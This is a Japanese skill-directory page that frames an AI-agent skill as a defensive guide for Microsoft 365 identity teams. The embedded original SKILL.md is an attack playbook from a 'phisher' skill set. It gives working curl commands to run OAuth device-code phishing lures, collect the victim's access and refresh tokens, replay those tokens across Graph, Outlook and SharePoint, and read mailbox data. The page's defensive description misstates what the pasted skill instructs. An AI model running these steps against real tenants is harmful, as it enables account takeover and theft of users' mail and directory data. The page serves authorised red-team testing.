o365-credential-harvest
できること
このガイドは、偽のパスワード画面を使わずにトークンを取得するために攻撃者が使う、Microsoft 365とEntra IDのサインインのパターンを説明します。Microsoftのテナントを守るIDチームやセキュリティチーム向けです。
使う場面
- ✓IDのチームが、必要のない利用者にデバイスコードでのサインインが許可されていないか確認したいとき。
- ✓トークンの異常な使用や、新しいデバイスからのサインインについて、アラートを設定したいとき。
- ✓許可されたテストで、トークンが盗まれた場合にどう検知されるかを確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私たちのアプリを壊さずに、Microsoft 365でほとんどの利用者のデバイスコードによるサインインをブロックできるか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、サインインと条件付きアクセスの設定を確認し、デバイスコードのフローが許可されている箇所を一覧にします。そのうえで、不正利用をブロックまたは検知するポリシーとアラートを提案します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
O365 / Entra Credential & Token Harvest
Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.
Device-code flow
The attacker requests a device code; the victim is social-engineered
to enter it at the real microsoft.com/devicelogin. After they
complete sign-in (MFA included), the attacker polls and receives
access + refresh tokens.
TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
-d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"
Token replay (TokenTactics pattern)
A refresh token captured here (or via evilginx2-proxy) is exchanged
for access tokens against Graph, Outlook, SharePoint, Teams — each a
distinct resource scope — without re-auth.
RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com
Validate
A token is interesting; a Graph call returning the victim's mailbox /
directory data is the finding:
curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.
Evidence
Tokens → Credential nodes (type oauth-token, with scope + expiry)
linked to the User node. Store ONLY under evidence/phisher/ + the
knowledge graph.
RoE / OPSEC
- Device-code lures still require the
lure-deconflictionhandshake. - Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
- NEVER read more mailbox/Graph data than the objective requires;
abide by
plan/roe.json:data_handling.
よくある質問
デバイスコードによるサインインとは何ですか?
キーボードのないデバイス向けのサインイン方式です。攻撃者は利用者をだましてコードを入力させ、これを悪用することがあります。
トークンの再利用とは何ですか?
盗まれたトークンを、改めてサインインせずに別のMicrosoftサービスで使うことです。
何を監視すべきですか?
普段と違うサインイン元、新しいデバイスからのトークンの使用、想定外のデバイスコードによるサインインです。
詳細
作者による元の説明
Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14121
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。